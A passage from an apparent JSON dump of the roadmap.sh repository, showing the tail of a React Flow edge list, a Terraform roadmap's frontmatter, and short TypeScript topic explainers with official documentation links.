\"tB4zfwY4E3GmXo-XQwS-l\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"nFq-64JQoYAKjN9YkmOfO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tB4zfwY4E3GmXo-XQwS-lx2-nFq-64JQoYAKjN9YkmOfOw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nFq-64JQoYAKjN9YkmOfO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"O194eWh529jj4VDhKxNSj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-nFq-64JQoYAKjN9YkmOfOy2-O194eWh529jj4VDhKxNSjz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O194eWh529jj4VDhKxNSj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"weIlGqGN15U8BH1yE9moA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O194eWh529jj4VDhKxNSjy2-weIlGqGN15U8BH1yE9moAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O194eWh529jj4VDhKxNSj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6OoAdvikyp0byMH2oZhyQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O194eWh529jj4VDhKxNSjy2-6OoAdvikyp0byMH2oZhyQz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O194eWh529jj4VDhKxNSj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fH27mGrdnkDQCrGGDFU6p\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O194eWh529jj4VDhKxNSjy2-fH27mGrdnkDQCrGGDFU6pz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O194eWh529jj4VDhKxNSj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qFpaqOSoefTyKxmI-FRZt\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O194eWh529jj4VDhKxNSjy2-qFpaqOSoefTyKxmI-FRZtz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O194eWh529jj4VDhKxNSj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"QSftI21seX6I_xPonlfmU\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-O194eWh529jj4VDhKxNSjx2-QSftI21seX6I_xPonlfmUw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"V7_NnDIY1MefV_xjCCsnI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUz2-V7_NnDIY1MefV_xjCCsnIy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bjozhkpOI9UjjNfmT5HhY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUz2-bjozhkpOI9UjjNfmT5HhYy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ENkLj3z6hR2cKT7rBhYp5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUz2-ENkLj3z6hR2cKT7rBhYp5y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QqwlAtz7VfrMtNEGpT5Sa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUz2-QqwlAtz7VfrMtNEGpT5Say1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"H3_So6qX-s2131WHGR_GO\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUz2-H3_So6qX-s2131WHGR_GOy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QSftI21seX6I_xPonlfmU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-QSftI21seX6I_xPonlfmUy2-ECcHo0KTDN27MuVTC-Fwyz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zCU02_5Pide5BZiuMuqEU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyy2-zCU02_5Pide5BZiuMuqEUz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RtwZy60ruRpskmgr1qYYf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyy2-RtwZy60ruRpskmgr1qYYfz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wL3WWhjPEgFmumOmCPRDf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyy2-wL3WWhjPEgFmumOmCPRDfz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"AEtW6j2GcfZz7IXk4sM6c\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyy2-AEtW6j2GcfZz7IXk4sM6cz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oANePqjkwtNMwvV-_W0B7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyy2-oANePqjkwtNMwvV-_W0B7z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ECcHo0KTDN27MuVTC-Fwyx2-3MnZK2V5KhBhw67SyUVPkw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uVz9WwVAgMu1ZU0qjqVnc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3MnZK2V5KhBhw67SyUVPky2-uVz9WwVAgMu1ZU0qjqVncz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"z0PcbgpHbR6Fm07-On4P8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3MnZK2V5KhBhw67SyUVPky2-z0PcbgpHbR6Fm07-On4P8z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NSWG79dEygyl6pb54wLrE\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-3MnZK2V5KhBhw67SyUVPkx2-NSWG79dEygyl6pb54wLrEw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"K_7dB-5cCYzGbwYXXaoiY\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-K_7dB-5cCYzGbwYXXaoiYy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"elW7IMBSF0ydmlb7rtI1o\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-elW7IMBSF0ydmlb7rtI1oy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RPcsyhIG027uP7KF0hwaY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-RPcsyhIG027uP7KF0hwaYy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JoUWF6AQoreELxFHNi9oo\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-JoUWF6AQoreELxFHNi9ooy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Z6dG92afC8SGwCFNTx4ac\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-Z6dG92afC8SGwCFNTx4acy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nU1WoRtxRF9KeNhzuwNUB\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfz2-nU1WoRtxRF9KeNhzuwNUBy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3MnZK2V5KhBhw67SyUVPk\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"erxow5xNRj01WepdFOhVf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-3MnZK2V5KhBhw67SyUVPkz2-erxow5xNRj01WepdFOhVfw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SHmbcMRsc3SygEDksJQBDx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"erxow5xNRj01WepdFOhVf\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-erxow5xNRj01WepdFOhVfx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6zFuSNOfbPaYIE_t--2nr\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ECcHo0KTDN27MuVTC-Fwy\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-6zFuSNOfbPaYIE_t--2nrz2-ECcHo0KTDN27MuVTC-Fwyy2\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/terraform/terraform.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/terraform.json'\npdfUrl: '/pdfs/roadmaps/terraform.pdf'\norder: 15\nbriefTitle: 'Terraform'\nbriefDescription: 'Step by step guide to learn Terraform in 2025'\ntitle: 'Terraform Roadmap'\ndescription: 'Step by step guide to learn Terraform in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2600\nschema:\n  headline: 'Terraform Roadmap'\n  description: 'Learn how to use Terraform with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/terraform.png'\n  datePublished: '2024-06-21'\n  dateModified: '2024-06-21'\nseo:\n  title: 'Terraform Roadmap'\n  description: 'Step by step guide to learn Terraform in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'terraform tutorial'\n    - 'terraform tutorial 2025'\n    - 'step by step guide for terraform'\n    - 'how to learn terraform'\n    - 'guide to learning terraform'\n    - 'use terraform in production'\n    - 'terraform for beginners'\n    - 'terraform roadmap 2024'\n    - 'terraform roadmap 2025'\n    - 'terraform roadmap'\n    - 'terraform learning path'\n    - 'terraform learning roadmap'\n    - 'terraform'\n    - 'terraform learning guide'\n    - 'terraform skills'\n    - 'terraform for development'\n    - 'terraform for development skills'\n    - 'terraform for development skills test'\n    - 'terraform learning guide'\n    - 'become a terraform expert'\n    - 'terraform career path'\n    - 'learn terraform for development'\n    - 'what is terraform'\n    - 'terraform quiz'\n    - 'terraform interview questions'\nrelatedRoadmaps:\n  - 'devops'\n  - 'aws'\n  - 'git-github'\n  - 'cloudflare'\n  - 'backend'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\nrenderer: 'editor'\n---\n"
  },
  {
    "path": "src/data/roadmaps/typescript/content/abstract-classes@tZFWeWHdOUJcCEtHfXH9p.md",
    "content": "# Abstract Classes\n\nAn abstract class is a class that cannot be instantiated directly. Its primary purpose is to define a blueprint for other classes. It can contain abstract methods (methods without implementation) and concrete methods (methods with implementation). Subclasses must provide concrete implementations for all abstract methods inherited from the abstract class, unless the subclass is also declared abstract. This ensures that subclasses adhere to a specific interface or contract.\n\nVisit the following resources to learn more:\n\n- [@official@Abstract Classes](https://www.typescriptlang.org/docs/handbook/2/classes.html#abstract-classes-and-members)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/access-modifiers@RJ7on8WoxrKcXrR3qY5Rs.md",
    "content": "# Access Modifiers\n\nAccess modifiers in object-oriented programming control the visibility of class members (properties and methods). They determine which parts of your code, or even external code, can access and modify those members. Common access modifiers include `public`, `private`, and `protected`, each offering different levels of accessibility and encapsulation.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript Access Modifiers](https://www.typescripttutorial.net/typescript-tutorial/typescript-access-modifiers/)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/advanced-types@2F7vOL__v9dLBohA263aj.md",
    "content": "# Advanced Types\n\nTypeScript's advanced types allow for more precise and flexible type definitions beyond basic primitives. Intersection types combine multiple types into one, requiring a value to satisfy all combined types. Union types allow a value to be one of several specified types. Type aliases create a name for a type, making complex type definitions easier to reuse. Conditional types allow types to be determined based on a condition, often using generics. Index types enable you to extract the type of a property from another type using a key. Mapped types transform each property in a type, creating a new type based on the original. Type guards are functions that narrow down the type of a variable within a specific scope.\n\nVisit the following resources to learn more:\n\n- [@official@Advanced Topics](https://www.typescriptlang.org/docs/handbook/type-compatibility.html#advanced-topics)\n- [@video@Tutorial of Typescript - Advanced Types](https://www.youtube.com/playlist?list=PLw5h0DiJ-9PBIgIyd2ZA1CVnJf0BLFJg2)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/ambient-modules@k_5y77k8ZZ9_O2WpWXWTY.md",
    "content": "# Ambient Modules\n\nAmbient modules in TypeScript are used to describe the shape of existing JavaScript code when you don't have the TypeScript declaration files (`.d.ts`) readily available. They essentially allow you to tell the TypeScript compiler about the existence and structure of a JavaScript module, so you can import and use it in your TypeScript code without getting type errors, even if the module itself wasn't written in TypeScript.\n\nVisit the following resources to learn more:\n\n- [@official@Ambient Modules](https://www.typescriptlang.org/docs/handbook/modules/reference.html#ambient-modules)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/any@yXiLegSlL7SveU8rBGj8U.md",
    "content": "# Any\n\nTypeScript has a special type, `any`, that you can use whenever you don’t want a particular value to cause typechecking errors.\n\nWhen a value is of type `any`, you can access any properties of it (which will in turn be of type `any`), call it like a function, assign it to (or from) a value of any type, or pretty much anything else that’s syntactically legal:\n\n    let obj: any = { x: 0 };\n    // None of the following lines of code will throw compiler errors.\n    // Using `any` disables all further type checking, and it is assumed\n    // you know the environment better than TypeScript.\n    obj.foo();\n    obj();\n    obj.bar = 100;\n    obj = 'hello';\n    const n: number = obj;\n\nVisit the following resources to learn more:\n\n- [@official@any type in TypeScript](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#any)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/array@YbDuIo1BbZKEAZwmXlCdZ.md",
    "content": "# Array\n\nAn array is a data structure that stores an ordered collection of elements, where each element is accessed using its numerical index. Arrays are fundamental for managing lists of items, and in TypeScript, you define the types of elements that an array can hold, enforcing consistency and preventing errors. An array's length is mutable allowing you to dynamically add or remove elements.\n\nVisit the following resources to learn more:\n\n- [@official@Arrays](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#arrays)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/as-any@afTNr36VqeXoJpHxm2IoS.md",
    "content": "# As Any\n\n`any` is a special type in TypeScript that represents a value of any type. When a value is declared with the any type, the compiler will not perform any type checks or type inference on that value.\n\nFor example:\n\n    let anyValue: any = 42;\n    \n    // we can assign any value to anyValue, regardless of its type\n    anyValue = 'Hello, world!';\n    anyValue = true;\n\nVisit the following resources to learn more:\n\n- [@official@any](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#any)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/as-const@pGFnTqi0-RSj0YRmNA5iy.md",
    "content": "# as const\n\n`as const` is a TypeScript feature that allows you to tell the compiler to infer the narrowest or most specific type possible for an expression. Instead of the compiler widening the type of a value to its general type (like inferring a string variable as `string`), `as const` makes the compiler infer the value as a constant type (like inferring a string variable as the specific string literal type `\"hello\"`). This is useful for creating immutable data structures or when you need the compiler to enforce the exact values allowed.\n\nVisit the following resources to learn more:\n\n- [@official@const assertions](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-4.html#const-assertions)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/as-type@Ba0baUbomrW9td_K8U-5L.md",
    "content": "# Type Assertions with `as`\n\nType assertions in TypeScript are a way to tell the compiler the specific type of a variable. They allow you to override TypeScript's type inference when you know more about the type of a value than the compiler does. Using `as [type]` is one syntax for type assertions, allowing you to explicitly cast a variable to a more specific type. This doesn't perform any runtime type checking or conversion, it simply instructs the compiler to treat the variable as if it were of the specified type.\n\nVisit the following resources to learn more:\n\n- [@official@Type assertions](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#type-assertions)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/awaited@aEhI_9mFWXRIZh1ZxTuzu.md",
    "content": "# Awaited\n\n`Awaited` is a utility type in TypeScript that is used to recursively unwrap the `Promise` type. It simulates the `await` operator's behavior in JavaScript. If you have a type that represents a `Promise`, `Awaited` can extract the underlying type that the `Promise` resolves to. It handles nested `Promise` types and other thenables, continually unwrapping until it reaches a non-promise type.\n\nVisit the following resources to learn more:\n\n- [@official@Awaited<Type>](https://www.typescriptlang.org/docs/handbook/utility-types.html#awaitedtype)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/boolean@hfIHxa5i_5rEpjtzqEsic.md",
    "content": "# Boolean Type in TypeScript\n\nA boolean type represents a logical value that can be either `true` or `false`. It is commonly used in programming to control the flow of execution based on certain conditions, allowing programs to make decisions and execute different code blocks depending on whether a condition is met. Boolean values are fundamental for expressing logical operations and comparisons.\n\nVisit the following resources to learn more:\n\n- [@article@Number, String, Boolean, Symbol and Object](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#the-primitives-string-number-and-boolean)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/build-tools@I5uwfej5XMwR2N2gpBILh.md",
